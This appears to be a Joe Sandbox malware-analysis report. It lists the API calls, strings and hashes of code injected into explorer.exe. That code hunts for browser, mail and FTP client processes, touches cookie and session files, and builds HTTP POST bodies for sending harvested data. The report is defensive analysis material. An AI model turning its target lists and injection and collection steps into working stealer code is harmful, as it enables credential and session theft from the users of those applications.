Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Path$FindFolderSpeciallstrcatlstrcmpi$CloseCombineFileFirstHeapMemoryNextProcess32Zero$AllocateCreateHandleProcessSleepSnapshotToolhelp32
String ID: Cookies*$\Google\Chrome\User Data\$\Microsoft\Edge\User Data\$\Opera Software\Opera Stable\$chrome.exe$msedge.exe$opera.exe
API String ID: 909495591-1175993956
Opcode ID: cc35f3566ee9868297273f9fa43087e24711ceae7b2c1c8a52be48be319707da
Instruction ID: ec7ff4d470ff25c577ac56c1694f62454c323dd216fa13f948d3d90517649557
Opcode Fuzzy Hash: cc35f3566ee9868297273f9fa43087e24711ceae7b2c1c8a52be48be319707da
Instruction Fuzzy Hash: 7011027034571632F22033615C82FEF258DFFA6BA1F100024F2C56A2C2DED89E0247AA

Function 000835D4 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 64
stringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081363: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00081374
Part of subcall function 00081363: Process32First.KERNEL32(00000000,?), ref: 00081393
Part of subcall function 00081363: CloseHandle.KERNEL32(00000000), ref: 000813CB

Part of subcall function 00081363: lstrcmpi.KERNEL32(?), ref: 000813A3
Part of subcall function 00081363: Process32Next.KERNEL32(00000000,00000128), ref: 000813C0

Sleep.KERNEL32(000003E8,?,00000000,?,0008382F,?,00083C53,00000001), ref: 000835FA

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000), ref: 00083613
lstrcatW.KERNEL32(00000000,\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\), ref: 00083623
wsprintfW.USER32 ref: 00083644

Part of subcall function 000814D8: wsprintfW.USER32 ref: 0008150D
Part of subcall function 000814D8: FindFirstFileW.KERNEL32(00000000,?), ref: 0008151C
Part of subcall function 000814D8: wsprintfW.USER32 ref: 00081557
Part of subcall function 000814D8: SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0008156A
Part of subcall function 000814D8: DeleteFileW.KERNEL32(00000000), ref: 00081571
Part of subcall function 000814D8: FindNextFileW.KERNEL32(00000000,00000010), ref: 00081584
Part of subcall function 000814D8: FindClose.KERNEL32(00000000), ref: 0008158F

Part of subcall function 00081011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,000814CB), ref: 00081020
Part of subcall function 00081011: HeapFree.KERNEL32(00000000), ref: 00081027

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000021,00000000), ref: 00083672
lstrcatW.KERNEL32(00000000,00084614), ref: 00083682

Strings

microsoftedgecp.exe, xrefs: 000835EB
microsoftedge.exe, xrefs: 000835E1
%s%s, xrefs: 0008363E
\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\, xrefs: 0008361D
iexplore.exe, xrefs: 000835D7
*.*, xrefs: 0008364D, 0008368B

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: FileHeap$Findwsprintf$CloseFirstFolderNextPathProcessProcess32Speciallstrcat$AllocateAttributesCreateDeleteFreeHandleSleepSnapshotToolhelp32lstrcmpi
String ID: %s%s$*.*$\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\$iexplore.exe$microsoftedge.exe$microsoftedgecp.exe
API String ID: 2436889709-3669280581
Opcode ID: 0b2ddade066f348b97ee0b66d3a5b6175cf5d7b387e05ed159d19590711088c2
Instruction ID: 047cd47d4e76235a8978023a5c5691358bac471f200d8a84fde17aeb494bc27d
Opcode Fuzzy Hash: 0b2ddade066f348b97ee0b66d3a5b6175cf5d7b387e05ed159d19590711088c2
Instruction Fuzzy Hash: 6F11703034060277FA143765AC9EFBE2599FFD6F42F150028B7C6AA2C2DE9849825769

Function 00083132 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000), ref: 0008322D
wsprintfA.USER32 ref: 0008329E
lstrcat.KERNEL32(00000000,00000000), ref: 000832AF
lstrcat.KERNEL32(00000000,{:!:}), ref: 000832BE
lstrlen.KERNEL32(00000000), ref: 000832C1
RtlMoveMemory.NTDLL(00000000,?,?), ref: 000832D2

Part of subcall function 00081011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,000814CB), ref: 00081020
Part of subcall function 00081011: HeapFree.KERNEL32(00000000), ref: 00081027

Strings

POST, xrefs: 0008327F
%s{:!:}%s{:!:}%s{:!:}, xrefs: 00083298
{:!:}, xrefs: 000832B8

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Heaplstrcatlstrlen$FreeMemoryMoveProcesswsprintf
String ID: %s{:!:}%s{:!:}%s{:!:}$POST${:!:}
API String ID: 3430864794-1604029033
Opcode ID: 34d713bb453a2b6e89e1fd23ceffbc516b4f29760a8a6e66774df0d2f5c2abac
Instruction ID: 195aec8412d902ec1d20601123c3bc2efe934f71044cf50dfad01e2279433394
Opcode Fuzzy Hash: 34d713bb453a2b6e89e1fd23ceffbc516b4f29760a8a6e66774df0d2f5c2abac
Instruction Fuzzy Hash: 23415E71104345AFD311EF10DC48EABBBEDFF88745F00092EF58296252DB799A49CBA6

Function 00083449 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(00086038), ref: 00083455
lstrcat.KERNEL32 ref: 000834AB

Part of subcall function 00082FAA: RtlZeroMemory.NTDLL(?,0000000A), ref: 00082FFA
Part of subcall function 00082FAA: StrToIntA.SHLWAPI(?), ref: 00083024
Part of subcall function 00082FAA: lstrlen.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00083347), ref: 00083052
Part of subcall function 00082FAA: wsprintfA.USER32 ref: 000830B9
Part of subcall function 00082FAA: lstrcat.KERNEL32(00000000,00000000), ref: 000830E5

Part of subcall function 00082F1F: CreateThread.KERNEL32(00000000,00000000,00082ED2,?,00000000,00000000), ref: 00082F2F
Part of subcall function 00082F1F: CloseHandle.KERNEL32(00000000), ref: 00082F36

Part of subcall function 0008105D: VirtualFree.KERNEL32(?,00000000,00008000,00082B4B), ref: 00081065

RtlZeroMemory.NTDLL(0000000A,0000000A), ref: 00083504
StrToIntA.SHLWAPI(?), ref: 0008352B
RtlMoveMemory.NTDLL(00000000,?,-00000003), ref: 0008358D
RtlLeaveCriticalSection.NTDLL(00086038), ref: 000835C1

Part of subcall function 00081274: VirtualQuery.KERNEL32(?,?,0000001C), ref: 00081281

Strings

POST, xrefs: 000834F1
Content-Length:, xrefs: 0008350E
, xrefs: 0008353D

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Memory$CriticalSectionVirtualZerolstrcat$CloseCreateEnterFreeHandleLeaveMoveQueryThreadlstrlenwsprintf
String ID: $Content-Length:$POST
API String ID: 2960674810-114478848
Opcode ID: 33a795ee5d16a2d667be42fa0e9aab825ee56be8159edec6b824bf9d928f01f4
Instruction ID: 94e072d73854c321fe1628760210cd651d563a19d9d3a009ac864edf1f9d31a3
Opcode Fuzzy Hash: 33a795ee5d16a2d667be42fa0e9aab825ee56be8159edec6b824bf9d928f01f4
Instruction Fuzzy Hash: 7931C4306043418BEB11BF64D9686AB7BA9BF84701F01042DEAC29B353CB7E990DCF59

Function 000836A1 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 37sleepstringCOMMON

Download Yara Rule

APIs

Part of subcall function 00081363: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00081374
Part of subcall function 00081363: Process32First.KERNEL32(00000000,?), ref: 00081393
Part of subcall function 00081363: CloseHandle.KERNEL32(00000000), ref: 000813CB

Sleep.KERNEL32(000003E8,?,00000000,?,00083834,?,00083C53,00000001), ref: 000836B3

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 000836CC
lstrcatW.KERNEL32(00000000,\Mozilla\Firefox\Profiles\), ref: 000836DC

Part of subcall function 000814D8: wsprintfW.USER32 ref: 0008150D
Part of subcall function 000814D8: FindFirstFileW.KERNEL32(00000000,?), ref: 0008151C
Part of subcall function 000814D8: wsprintfW.USER32 ref: 00081557
Part of subcall function 000814D8: SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0008156A
Part of subcall function 000814D8: DeleteFileW.KERNEL32(00000000), ref: 00081571
Part of subcall function 000814D8: FindNextFileW.KERNEL32(00000000,00000010), ref: 00081584
Part of subcall function 000814D8: FindClose.KERNEL32(00000000), ref: 0008158F

Strings

firefox.exe, xrefs: 000836A4
\Mozilla\Firefox\Profiles\, xrefs: 000836D6
sessionstore.*, xrefs: 000836F2
cookies.sqlite, xrefs: 000836E4

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: File$Find$CloseFirstHeapwsprintf$AllocateAttributesCreateDeleteFolderHandleNextPathProcessProcess32SleepSnapshotSpecialToolhelp32lstrcat
String ID: \Mozilla\Firefox\Profiles\$cookies.sqlite$firefox.exe$sessionstore.*
API String ID: 2731919298-637609321
Opcode ID: 4a60fd77e695e30bc64544faf5fe457681fedf5549bfe8e042cb7c116037b457
Instruction ID: e4b6859fe632719e62c2471a373af4e41d7e2c2c30c1e964f33e307738a03490
Opcode Fuzzy Hash: 4a60fd77e695e30bc64544faf5fe457681fedf5549bfe8e042cb7c116037b457
Instruction Fuzzy Hash: A4F0A731300512339615336AAC0EDEF195DFFD7B52700012CB2C6962D2DE980943577A

Function 0008186C Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

Part of subcall function 0008106C: lstrlen.KERNEL32(?,?,00000000,00000000,0008189F,75712B62,?,00000000), ref: 00081074
Part of subcall function 0008106C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000000), ref: 00081086

Part of subcall function 000817DC: RtlZeroMemory.NTDLL(?,00000018), ref: 000817EE

RtlZeroMemory.NTDLL(?,0000003C), ref: 000818FB
wsprintfW.USER32 ref: 000819F2
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 00081AD0

Strings

POST, xrefs: 000819A0
Accept: */*Referer: %S, xrefs: 000819E8
Content-Type: application/x-www-form-urlencoded, xrefs: 00081A34

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: c7c917da75e3de295780b2872cffdc73b6cef6b8f53e9712146f35d9d993187b
Instruction ID: 3dcbdeb0ded9a8cf15a9f97d83848ce06ad77dce3e8d70dcbeb4fea29dcfcf14
Opcode Fuzzy Hash: c7c917da75e3de295780b2872cffdc73b6cef6b8f53e9712146f35d9d993187b
Instruction Fuzzy Hash: 648145B1608301AFD714AF68DC88AABBAEDFF88744F00092DF585D3251EB75D946CB52

Function 000823E3 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 190stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0008104C: VirtualAlloc.KERNEL32(00000000,00001105,00003000,00000040,00082A16,?,00000001), ref: 00081056

lstrcat.KERNEL32(?,00000000), ref: 000825BB
lstrcat.KERNEL32(?,000842A8), ref: 000825C7
lstrcat.KERNEL32(?,?), ref: 000825D6
lstrcat.KERNEL32(?,000842AC), ref: 000825E5

Strings

dyn_header, xrefs: 000824C8
:authority, xrefs: 0008243A
?, xrefs: 00082463

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: lstrcat$AllocVirtual
String ID: :authority$?$dyn_header
API String ID: 3028025275-1785586894
Opcode ID: ccb5b8e22301a9bf3d49878ed53380449b588dc010ab43c1b70d9856686de837
Instruction ID: a3df1192de0655e9dc7a3e2b16972a5207b0361e37cf12fd9c8c807a48e009f7
Opcode Fuzzy Hash: ccb5b8e22301a9bf3d49878ed53380449b588dc010ab43c1b70d9856686de837
Instruction Fuzzy Hash: CC61E3725087128FC710FE24D5906AEB7E6BB94350F44092DF8C157283EA399E0EDB62

Function 00081363 Relevance: 7.5, APIs: 5, Instructions: 39processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00081374
Process32First.KERNEL32(00000000,?), ref: 00081393
lstrcmpi.KERNEL32(?), ref: 000813A3
Process32Next.KERNEL32(00000000,00000128), ref: 000813C0
CloseHandle.KERNEL32(00000000), ref: 000813CB

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: 73177a2627c4fc77625abdc81e2021d595d42a0398085b95e880686d4ba7af21
Instruction ID: f597f1abedfdb78b4a50bf3d8acbfe31b34690e914edc3f9a8282d2ed78ac4e0
Opcode Fuzzy Hash: 73177a2627c4fc77625abdc81e2021d595d42a0398085b95e880686d4ba7af21
Instruction Fuzzy Hash: 34F0C8315011149BE7706B25AC08BDF7BBCFF09321F0001A0F9D9E2190EB784E558F91

Function 000828AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00081141: lstrlen.KERNEL32(?,?,?,00000000,?,000829DD,00000001), ref: 00081150
Part of subcall function 00081141: lstrlen.KERNEL32(:method POST,?,00000000,?,000829DD,00000001), ref: 00081155

RtlMoveMemory.NTDLL(?,?,-00000008), ref: 0008291B
lstrcat.KERNEL32(?,000842BC), ref: 0008292A
lstrlen.KERNEL32(?,75712B62,00000001,?,?,00000000,?,?,00082B26,?,?,?,?,00000001), ref: 0008295C

Strings

cookie , xrefs: 000828D4, 0008293C

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: lstrlen$MemoryMovelstrcat
String ID: cookie
API String ID: 2957667536-1295510418
Opcode ID: c5afd10081fade78214e6a68e20e854c8f611a32984c2bd6fd75a9e92cb63cea
Instruction ID: f53226ebe774a6e1b9e5076833723ffb49a62c81fd320fd2bb11fdc6a523b402
Opcode Fuzzy Hash: c5afd10081fade78214e6a68e20e854c8f611a32984c2bd6fd75a9e92cb63cea
Instruction Fuzzy Hash: 0411B7323083029BD711BE94DC89B9BB7D9FF90714F14052DFDC197242EAB5E80A4791

Function 000812AA Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000), ref: 000812BC
IsWow64Process.KERNEL32(000000FF,?), ref: 000812CE
IsWow64Process.KERNEL32(00000000,?), ref: 000812E1
CloseHandle.KERNEL32(00000000), ref: 000812F7

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID:
API String ID: 331459951-0
Opcode ID: 8045010c9cbfc985abfaa60064913a4c16ec6c63ecb239f4c664f1a8ebcca392
Instruction ID: 4c13458c48fa9fbbcfea10e07012997bffba25426b6b543f99b22ac2bec5ef8b
Opcode Fuzzy Hash: 8045010c9cbfc985abfaa60064913a4c16ec6c63ecb239f4c664f1a8ebcca392
Instruction Fuzzy Hash: 1DF09071806219FFAB20DFA0AD449EFBBBCFF01251F20426AE941D2140DB354E029BA1

Function 000832F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00086038), ref: 00083332
RtlLeaveCriticalSection.NTDLL(00086038), ref: 00083358

Strings

POST, xrefs: 00083338

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: POST
API String ID: 3168844106-1814004025
Opcode ID: 4920001e8e38d461796a27dbbcaa1cd07135c44c448d8fe26b08c9534abdbfff
Instruction ID: 55dcfb8202f6423abaeb440588ec9f58bbec6868fc7e7fe62f416efc705c6caf
Opcode Fuzzy Hash: 4920001e8e38d461796a27dbbcaa1cd07135c44c448d8fe26b08c9534abdbfff
Instruction Fuzzy Hash: 63018131500114EBDB213F20EC4889F7FA9FFC5BA17184020FA8A96222DF36DE51DBA1

Analysis Process: explorer.exePID: 2772, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00065300 Relevance: 1.6, APIs: 1, Instructions: 71
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00065378

Memory Dump Source

Source File: 00000017.00000002.628348021.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_61000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: a5808401f40c052098661eb7ec96139c2b9ca3f0c031a4bcca73572e40d2a868
Instruction ID: a41e593be866e3ab021910bfc825c372ad5ca9bfff955d7c7ff76e928a4655b8
Opcode Fuzzy Hash: a5808401f40c052098661eb7ec96139c2b9ca3f0c031a4bcca73572e40d2a868
Instruction Fuzzy Hash: 5311C630601D094FEB9DFBB998992B933D6EB14312F54053AE415C73A2EE698B808340

Function 00065104 Relevance: 10.7, APIs: 7, Instructions: 168
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00061B74: OpenFileMappingA.KERNEL32 ref: 00061B8B
Part of subcall function 00061B74: MapViewOfFile.KERNEL32 ref: 00061BAA

SysFreeMap.PGOCR ref: 000651A9
CreateToolhelp32Snapshot.KERNEL32 ref: 000651B3
Process32First.KERNEL32 ref: 000651D6
lstrcmpi.KERNEL32 ref: 000651F1
Process32Next.KERNEL32 ref: 000652D9
CloseHandle.KERNELBASE ref: 000652EA
SleepEx.KERNEL32 ref: 000652F5

Memory Dump Source

Source File: 00000017.00000002.628348021.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_61000_explorer.jbxd

Similarity

API ID: FileProcess32$CloseCreateFirstFreeHandleMappingNextOpenSleepSnapshotToolhelp32Viewlstrcmpi
String ID:
API String ID: 3402289966-0
Opcode ID: b08314583b3292b42ea9aaba231a76af201b60a4b1773454188c57f449f80528
Instruction ID: a6da5bda8c7869cbd6e8df023e30412e059deaad76ffb23e04c0e8a9e63b4105
Opcode Fuzzy Hash: b08314583b3292b42ea9aaba231a76af201b60a4b1773454188c57f449f80528
Instruction Fuzzy Hash: 08515730204E098FDB59EF68DCA5AE973E3FB95301F444619E457C71A2DF78DA058781

Function 0006D748 Relevance: 4.7, APIs: 3, Instructions: 246
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,F6171042,?,2EC0275B), ref: 0006D847
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 0006D8E5
VirtualProtect.KERNELBASE ref: 0006D903

Memory Dump Source

Source File: 00000017.00000002.628348021.000000000006C000.00000040.80000000.00040000.00000000.sdmp, Offset: 0006C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6c000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 95f77aaacabe58910e5c9c5c8887ec348e2c323c674e048d1baf7834c42d2dbf
Instruction ID: fb22e33ff937d24d93fb2efd063ba145730d0834d4eb26fcdd67a2d867c28293
Opcode Fuzzy Hash: 95f77aaacabe58910e5c9c5c8887ec348e2c323c674e048d1baf7834c42d2dbf
Instruction Fuzzy Hash: 23515A32B5891D4FCB24AA3C9CC87F9B7D2F755325B58063BC49AC3285EE58D84683C2

Function 00061B74 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 00061B8B
MapViewOfFile.KERNEL32 ref: 00061BAA

Memory Dump Source

Source File: 00000017.00000002.628348021.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_61000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 91acf1a8eced4a93386cc206dc094dd57211145f7045cabbad6f077073a0bd29
Instruction ID: ddaee3d7e8f9e73a22afb263a5f2562a7b1b5803ba9d96df92eae33d24df65e4
Opcode Fuzzy Hash: 91acf1a8eced4a93386cc206dc094dd57211145f7045cabbad6f077073a0bd29
Instruction Fuzzy Hash: A5F01C35318F094FAB44EF7C9C8C576B7E1EBA8202B048A7EA95AC7165EF74C8818751

Analysis Process: explorer.exePID: 2840, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	0%
Total number of Nodes:	306
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000C1016 Relevance: 87.7, APIs: 30, Strings: 20, Instructions: 244
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C2608: VirtualQuery.KERNEL32(000C4434,?,0000001C), ref: 000C2615

Part of subcall function 000C2861: GetProcessHeap.KERNEL32(00000008,0000A000,000C10CC), ref: 000C2864
Part of subcall function 000C2861: RtlAllocateHeap.NTDLL(00000000), ref: 000C286B

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 000C1038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 000C106B
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 000C1074
GetCurrentProcessId.KERNEL32(?,000C1010), ref: 000C107A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 000C10DF
Process32First.KERNEL32(00000000,?), ref: 000C10FE
lstrcmpi.KERNEL32(?,firefox.exe), ref: 000C111A
lstrcmpi.KERNEL32(?,iexplore.exe), ref: 000C112E
lstrcmpi.KERNEL32(?,chrome.exe), ref: 000C1142
lstrcmpi.KERNEL32(?,opera.exe), ref: 000C1156
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 000C1166
lstrcmpi.KERNEL32(?,outlook.exe), ref: 000C117A
lstrcmpi.KERNEL32(?,thebat.exe), ref: 000C118E
lstrcmpi.KERNEL32(?,thebat32.exe), ref: 000C11A2
lstrcmpi.KERNEL32(?,thebat64.exe), ref: 000C11B6
lstrcmpi.KERNEL32(?,thunderbird.exe), ref: 000C11CA
lstrcmpi.KERNEL32(?,filezilla.exe), ref: 000C11DE
lstrcmpi.KERNEL32(?,smartftp.exe), ref: 000C11F2
lstrcmpi.KERNEL32(?,winscp.exe), ref: 000C1206
lstrcmpi.KERNEL32(?,flashfxp.exe), ref: 000C1216
lstrcmpi.KERNEL32(?,cuteftppro.exe), ref: 000C1226
lstrcmpi.KERNEL32(?,mailmaster.exe), ref: 000C1236
lstrcmpi.KERNEL32(?,263em.exe), ref: 000C1246
lstrcmpi.KERNEL32(?,foxmail.exe), ref: 000C1256
lstrcmpi.KERNEL32(?,alimail.exe), ref: 000C1266
lstrcmpi.KERNEL32(?,mailchat.exe), ref: 000C1276
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 000C12B4
Process32Next.KERNEL32(00000000,00000128), ref: 000C130B
CloseHandle.KERNELBASE(00000000), ref: 000C131C
Sleep.KERNELBASE(000003E8), ref: 000C1327

Strings

thebat32.exe, xrefs: 000C1198
thebat64.exe, xrefs: 000C11AC
outlook.exe, xrefs: 000C1170
firefox.exe, xrefs: 000C1114
alimail.exe, xrefs: 000C125C
foxmail.exe, xrefs: 000C124C
filezilla.exe, xrefs: 000C11D4
chrome.exe, xrefs: 000C1138
thunderbird.exe, xrefs: 000C11C0
microsoftedgecp.exe, xrefs: 000C10D2, 000C1160, 000C12AE
cuteftppro.exe, xrefs: 000C121C
263em.exe, xrefs: 000C123C
winscp.exe, xrefs: 000C11FC
iexplore.exe, xrefs: 000C1124
mailchat.exe, xrefs: 000C126C
opera.exe, xrefs: 000C114C
smartftp.exe, xrefs: 000C11E8
thebat.exe, xrefs: 000C1184
mailmaster.exe, xrefs: 000C122C
flashfxp.exe, xrefs: 000C120C

Memory Dump Source

Source File: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c1000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapMemoryMoveProcessProcess32$AllocateCloseCreateCurrentFirstHandleNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtual
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 2555639992-1680033604
Opcode ID: 622fcf9bd27b25c97b2a17fb2ef2162854cc26da12bc78b5be0b67476663e74b
Instruction ID: 54b6bc8a74e964362036cf5b6869e04bda0f949686daf59f36d080a5539ac7a1
Opcode Fuzzy Hash: 622fcf9bd27b25c97b2a17fb2ef2162854cc26da12bc78b5be0b67476663e74b
Instruction Fuzzy Hash: E171A231614345ABEB50EBB09C55FEE7BECAF46780B08452DFA40C7092EB79DA058B74

Function 000C10A4 Relevance: 80.7, APIs: 26, Strings: 20, Instructions: 203
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C2861: GetProcessHeap.KERNEL32(00000008,0000A000,000C10CC), ref: 000C2864
Part of subcall function 000C2861: RtlAllocateHeap.NTDLL(00000000), ref: 000C286B

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 000C10DF
Process32First.KERNEL32(00000000,?), ref: 000C10FE
lstrcmpi.KERNEL32(?,firefox.exe), ref: 000C111A
lstrcmpi.KERNEL32(?,iexplore.exe), ref: 000C112E
lstrcmpi.KERNEL32(?,chrome.exe), ref: 000C1142
lstrcmpi.KERNEL32(?,opera.exe), ref: 000C1156
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 000C1166
lstrcmpi.KERNEL32(?,outlook.exe), ref: 000C117A
lstrcmpi.KERNEL32(?,thebat.exe), ref: 000C118E
lstrcmpi.KERNEL32(?,thebat32.exe), ref: 000C11A2
lstrcmpi.KERNEL32(?,thebat64.exe), ref: 000C11B6
lstrcmpi.KERNEL32(?,thunderbird.exe), ref: 000C11CA
lstrcmpi.KERNEL32(?,filezilla.exe), ref: 000C11DE
lstrcmpi.KERNEL32(?,smartftp.exe), ref: 000C11F2
lstrcmpi.KERNEL32(?,winscp.exe), ref: 000C1206
lstrcmpi.KERNEL32(?,flashfxp.exe), ref: 000C1216
lstrcmpi.KERNEL32(?,cuteftppro.exe), ref: 000C1226
